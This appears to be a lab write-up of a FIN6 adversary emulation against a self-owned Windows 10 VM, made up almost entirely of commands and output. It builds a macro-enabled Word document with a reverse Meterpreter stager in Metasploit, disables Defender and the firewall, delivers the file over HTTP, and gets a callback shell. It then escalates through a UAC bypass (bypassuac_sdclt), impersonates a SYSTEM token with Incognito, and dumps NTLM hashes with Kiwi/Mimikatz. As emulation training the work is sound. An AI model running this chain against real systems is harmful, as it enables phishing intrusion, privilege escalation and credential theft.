Scope note: All activity documented below was performed against a purpose-built
Windows 10 virtual machine on an isolated, host-only VirtualBox network under the operator's own
control. Security controls (Defender / Firewall) were disabled locally on the target VM by the
operator as part of a controlled lab exercise, not against a production or third-party system.
▶️
Video Walkthrough Reference
This documentation follows the emulation demonstrated in the reference video:
▶️FIN6 Adversary Emulation — Initial Access to Privilege Escalation →Table of Contents
🛡️Attack Path Overview
01
Weaponize
Metasploit builds a macro-enabled Word document with an embedded reverse shell.
02
Deliver access
Payload hosted over HTTP, pulled onto the target, macro enabled on open.
03
Escalate SYSTEM
Local exploit suggester identifies a UAC bypass; SYSTEM token obtained.
04
Harvest
Incognito impersonates SYSTEM; Kiwi dumps cached credential material.
🖥️0. Lab Setup — Windows 10 Target VM
⬇️
Download & Provision the Target
A Windows 10 ISO was downloaded directly from Microsoft and installed into a fresh Oracle VirtualBox VM to serve as the isolated emulation target.
Download Windows 10 ISO image from https://www.microsoft.com/en-in/software-download/windows10ISO
Download the 64-bit version
Install Oracle VirtualBox
Click New and in the ISO Image load the downloaded .iso image
Finish the wizard, set the network adapter to NAT Network or Bridged Adapter, and boot the VM — Windows 10 installs automatically.
Note: Both attacker (Kali) and target (Windows 10) sit on the same isolated host-only/NAT network segment, addressed here as
172.20.10.0/28.🧱1. Payload Generation with Metasploit
🔄
Launching the Pinned Framework Version
┌──(aravinda㉿kali)-[~]
└─$ msf-649 --version
Framework Version: 6.4.9-dev-306c66e12e
┌──(aravinda㉿kali)-[~/msf-649]
└─$ msf-649
=[ metasploit v6.4.9-dev-306c66e12e ]
+ -- --=[ 2399 exploits - 1242 auxiliary - 419 post ]
+ -- --=[ 1456 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
msf6 >
📄
office_word_macro — Module Selection
msf6 > search word_macro
# Name Disclosure Date Rank Description
- ---- --------------- ---- -----------
0 exploit/multi/fileformat/office_word_macro 2012-01-10 excellent Microsoft Office Word Malicious Macro Execution
1 \_ target: Microsoft Office Word on Windows
2 \_ target: Microsoft Office Word on Mac OS X (Python)
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
⚙️
Configuring the Payload & Handler Options
msf6 exploit(multi/fileformat/office_word_macro) > set payload windows/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/fileformat/office_word_macro) > set LHOST 172.20.10.2
LHOST => 172.20.10.2
msf6 exploit(multi/fileformat/office_word_macro) > set LPORT 4444
LPORT => 4444| Option | Value | Purpose |
|---|---|---|
| FILENAME | msf.docm | Output macro-enabled Word document |
| EXITFUNC | thread | Process exit behavior after stage execution |
| LHOST / LPORT | 172.20.10.2:4444 | Callback listener address on the Kali box |
🔧
Building the Document
msf6 exploit(multi/fileformat/office_word_macro) > run
[*] Using template: /home/aravinda/msf-649/data/exploits/office_word_macro/template.docx
[*] Injecting payload in document comments
[*] Injecting macro and other required files in document
[*] Finalizing docm: msf.docm
[+] msf.docm stored at /home/aravinda/.msf4/local/msf.docm
┌──(aravinda㉿kali)-[~/payloads]
└─$ sudo cp /home/aravinda/.msf4/local/msf.docm .Artifact:
msf.docm — a macro-enabled Word document embedding the reverse Meterpreter stager, matching the delivery vector historically associated with FIN6's initial-access phishing operations.🌐2. Payload Hosting
🖥️
Serving the Document over HTTP
┌──(aravinda㉿kali)-[~/payloads]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...A lightweight Python HTTP server exposes
msf.docm for retrieval from the target VM over the isolated lab segment.⚠️3. Target-Side Security Control Evasion
🖥️
Administrator PowerShell Session
🚫
Disabling Firewall & Defender Real-Time Protection
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Set-MpPreference -DisableRealtimeMonitoring $true
Emulation-only step: Endpoint protections were disabled locally on the operator-controlled lab VM to validate the payload chain without interference. This step models the "defense impairment" behavior seen in real intrusions and should only ever be performed on a system the operator owns and controls.
📥4. Delivery & Execution
⬇️
Retrieving the Payload on the Target
iwr -uri http://172.20.10.2:80/msf.docm -outfile C:\Users\aravinda\Desktop\msf.docm
⚡
Opening the Document & Enabling Macros
Execution requires manual macro enablement on open — mirroring the social-engineering step that phishing-based intrusion chains rely on.
🔒5. Handler & Initial Access access
📡
Configuring multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 172.20.10.2
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set EXITFUNC thread
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.20.10.2:4444
[*] Sending stage (176198 bytes) to 172.20.10.3
[*] Meterpreter session 1 opened (172.20.10.2:4444 -> 172.20.10.3:51082) at 2026-08-14 12:28:59 +0530Initial access achieved: macro execution on the target returned a Meterpreter session back to the attacker-controlled listener.
🔍6. Post-Exploitation Reconnaissance
🖥️
Host & Session Context
meterpreter > sysinfo
Computer : WINDOWS10
OS : Windows 10 (10.0 Build 19045).
Architecture : x64
Domain : WORKGROUP
Logged On Users : 2
meterpreter > shell
C:\Users\aravinda\Desktop>whoami
windows10\aravinda
C:\Users\aravinda\Desktop>net user
User accounts for \\WINDOWS10
-------------------------------------------------------------------------------
Administrator aravinda DefaultAccount
Guest WDAGUtilityAccountSession lands as the standard
aravinda user — a local privilege escalation is required to reach SYSTEM.⬆7. Privilege Escalation SYSTEM
🔍
Local Exploit Suggester
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 2
msf6 post(multi/recon/local_exploit_suggester) > run
[+] 172.20.10.3 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 172.20.10.3 - exploit/windows/local/bypassuac_fodhelper: The target appears to be vulnerable.
[+] 172.20.10.3 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 172.20.10.3 - exploit/windows/local/win_error_cve_2023_36874: The target appears to be vulnerable.
🚫
UAC Bypass — bypassuac_sdclt
msf6 exploit(windows/local/bypassuac_sdclt) > set SESSION 2
msf6 exploit(windows/local/bypassuac_sdclt) > set LPORT 5555
msf6 exploit(windows/local/bypassuac_sdclt) > run
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Meterpreter session 3 opened (172.20.10.2:5555 -> 172.20.10.3:51138) at 2026-08-14 12:48:36 +0530
[*] Registry Changes Removed| Technique | Module | Precondition |
|---|---|---|
| UAC bypass (sdclt.exe) | exploit/windows/local/bypassuac_sdclt | User is a member of the local Administrators group |
🏆
Confirming Elevated Privileges
meterpreter > getprivs
Enabled Process Privileges
==========================
SeBackupPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeLoadDriverPrivilege
SeRestorePrivilege
SeTakeOwnershipPrivilege
...(24 total)Elevated context reached: the new session carries privileges (notably
SeImpersonatePrivilege and SeDebugPrivilege) required for token impersonation and credential extraction.🔑8. Credential Access SYSTEM
🎭
Token Impersonation with Incognito
meterpreter > load incognito
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
NT AUTHORITY\SYSTEM
WINDOWS10\aravinda
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
🕵
Kiwi (Mimikatz) — Credential Enumeration
meterpreter > load kiwi
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
aravinda WINDOWS10 [redacted hash] [redacted hash]
wdigest / kerberos credentials
===============================
No cleartext passwords recoveredWith a SYSTEM-level token, the Kiwi extension surfaces cached NTLM material from LSASS memory — the credential-access objective of the emulation. Plaintext WDigest/Kerberos secrets were not present on this build.
✅
Final Privilege Confirmation
meterpreter > shell
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>hostname
windows10⚡Quick Reference — FIN6 Emulation
| Stage | Tool / Module | Key Result |
|---|---|---|
| Weaponization | exploit/multi/fileformat/office_word_macro | Built msf.docm macro payload |
| Hosting | python3 -m http.server | Payload served on port 80 |
| Defense evasion | Set-NetFirewallProfile / Set-MpPreference | Firewall & Defender disabled locally |
| Delivery | iwr | Payload pulled to target Desktop |
| Initial access | exploit/multi/handler | Meterpreter session as windows10\aravinda |
| Recon | sysinfo, net user | Host & account enumeration |
| Privilege escalation | local_exploit_suggester → bypassuac_sdclt | Elevated session, admin-level privileges |
| Token impersonation | incognito | Impersonated NT AUTHORITY\SYSTEM |
| Credential access | kiwi (Mimikatz) | NTLM hash material dumped from LSASS |
📁Artifacts & Session Summary
- 📄Payload —
msf.docm(office_word_macro, reverse_tcp/x64) - 🌐C2 Listener —
172.20.10.2:4444/172.20.10.2:5555(handler + UAC bypass session) - 👤Initial user context —
windows10\aravinda - 🛡️Escalation path —
bypassuac_sdclt→ SYSTEM token via Incognito - 🔑Credential material recovered — NTLM hash for
aravinda(Kiwicreds_all)